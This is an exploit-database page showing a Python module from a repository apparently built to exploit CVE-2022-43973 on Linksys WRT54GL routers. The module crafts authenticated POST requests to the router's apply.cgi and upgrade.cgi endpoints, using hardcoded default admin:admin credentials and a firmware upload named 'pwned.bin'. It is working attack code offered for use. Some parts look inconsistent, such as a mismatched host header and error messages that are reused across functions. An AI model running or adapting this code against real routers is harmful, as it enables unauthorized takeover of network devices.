Exploit databaseDownload repository ZIP
GH-314c19211f638eff1688e08918724f8f
umbertodellamonica/linksys-wrt54gl-exploitation
Sources for CVE-2022-43973
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
umbertodellamonica/linksys-wrt54gl-exploitationRevision 73a0266d95e3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
code-exploit/router_module/router_requests.py
Python · 7,536 bytesfrom typing import Optional
from typing import Tuple
import requests
# --------------------- Define Methods for UI Language Request -----------------------------------------
# Get Headers for UI Language Request
def get_headers_ui_language_request(session_id):
if session_id is not None:
headers = {
'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
'accept-encoding': "gzip, deflate",
'accept-language': "it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7",
'cache-control': "max-age=0",
'connection': "keep-alive",
'content-type': "application/x-www-form-urlencoded",
'host': "192.168.1.1",
'origin': "http://192.168.1.1",
'referer': f'http://192.168.1.1/index.asp?session_id={session_id}',
'upgrade-insecure-requests': "1"
}
else :
headers = {
'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
'accept-encoding': "gzip, deflate",
'accept-language': "it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6",
'authorization': "Basic YWRtaW46YWRtaW4=",
'cache-control': "max-age=0",
'connection': "keep-alive",
'content-type': "application/x-www-form-urlencoded",
'host': "192.168.2.3",
'origin': "http://192.168.1.1",
'referer': "http://192.168.1.1/",
'upgrade-insecure-requests': "1"
}
return headers
# Get UI Language query
def get_ui_language_query(ui_language):
return {
"ui_language": ui_language,
"lan_ipaddr_0": "192",
"lan_ipaddr_1": "168",
"lan_ipaddr_2": "1",
"lan_ipaddr_3": "1",
"lan_netmask": "255.255.255.0",
"submit_button": "index",
"change_action": "gozila_cgi",
"submit_type": "language",
"action": "",
"now_proto": "dhcp",
"daylight_time": "0",
"lan_ipaddr": "4",
"wait_time": "0",
"need_reboot": "0",
"wan_proto": "dhcp",
"router_name": "WRT54GL",
"wan_hostname": "",
"wan_domain": "",
"mtu_enable": "0",
"lan_proto": "dhcp",
"dhcp_check": "",
"dhcp_start": "100",
"dhcp_num": "50",
"dhcp_lease": "0",
"wan_dns": "4",
"wan_dns0_0": "0",
"wan_dns0_1": "0",
"wan_dns0_2": "0",
"wan_dns0_3": "0",
"wan_dns1_0": "0",
"wan_dns1_1": "0",
"wan_dns1_2": "0",
"wan_dns1_3": "0",
"wan_dns2_0": "0",
"wan_dns2_1": "0",
"wan_dns2_2": "0",
"wan_dns2_3": "0",
"wan_wins": "4",
"wan_wins_0": "0",
"wan_wins_1": "0",
"wan_wins_2": "0",
"wan_wins_3": "0",
"time_zone": "-08+1+1",
"_daylight_time": "1",
}
def do_UI_Language_Request(host_port, creds:Tuple[str,str], session_id:Optional[str], ui_language):
if session_id is not None:
# Session_id active
url = f'http://{host_port}/apply.cgi'
req_query = get_ui_language_query(ui_language)
param = {
"session_id":f'{session_id}'
}
headers = get_headers_ui_language_request(session_id)
req = requests.request("POST" , url, data=req_query, headers=headers, params=param)
if not req.ok:
raise ValueError(f'Failed to change ui_language. Request: {req}')
else :
# Without params of session
url = f'http://{host_port}/apply.cgi'
req_query = get_ui_language_query(ui_language)
headers = get_headers_upgrade_request(None)
req = requests.request("POST", url, data=req_query, auth=creds, headers=headers)
if not req.ok:
raise ValueError(f'Failed to issue a firmware upgrade. Request: {req}')
# ------------------- Define Method for Upgrade Firmware Request ---------------------------
# Get Headers without or with Headers
def get_headers_upgrade_request(session_id):
if session_id is not None:
headers = {
'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
'accept-encoding': "gzip, deflate",
'accept-language': "it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7",
'cache-control': "max-age=0",
'connection': "keep-alive",
'content-type': "application/x-www-form-urlencoded",
'host': "192.168.1.1",
'origin': "http://192.168.1.1",
'referer': f'http://192.168.1.1/index.asp?session_id={session_id}',
'upgrade-insecure-requests': "1"
}
else:
headers = {
'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
'accept-encoding': "gzip, deflate",
'accept-language': "it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6",
'authorization': "Basic YWRtaW46YWRtaW4=",
'cache-control': "max-age=0",
'connection': "keep-alive",
'content-type': "multipart/form-data; boundary=----WebKitFormBoundaryrUfwe3FSr0Cw1lYO",
'host': "192.168.1.1",
'origin': "http://192.168.1.1",
'referer': "http://192.168.1.1/Upgrade.asp",
'upgrade-insecure-requests': "1"
}
return headers
# Get Upgrade Query
def get_upgrade_query():
return {
"file": '; filename="pwned.bin"',
"submit_button": "Upgrade",
"change_action": "",
"action": "",
"process": ""
}
def do_Upgrade_Firmware_Request(host_port, creds:Tuple[str,str], session_id:Optional[str]):
if session_id is not None:
# Session_id active
url = f'http://{host_port}/upgrade.cgi'
req_query = get_upgrade_query()
param = {
"session_id":f'{session_id}'
}
headers = get_headers_upgrade_request(session_id)
req = requests.request("POST",url, data=req_query, headers=headers,params=param)
if not req.ok:
raise ValueError(f'Failed to issue a firmware upgrade. Request: {req}')
else :
# Without params of session
url = f'http://{host_port}/upgrade.cgi'
req_query = get_upgrade_query()
headers = get_headers_upgrade_request(None)
req = requests.request("POST", url, data=req_query, auth=creds, headers=headers)
if not req.ok:
raise ValueError(f'Failed to issue a firmware upgrade. Request: {req}')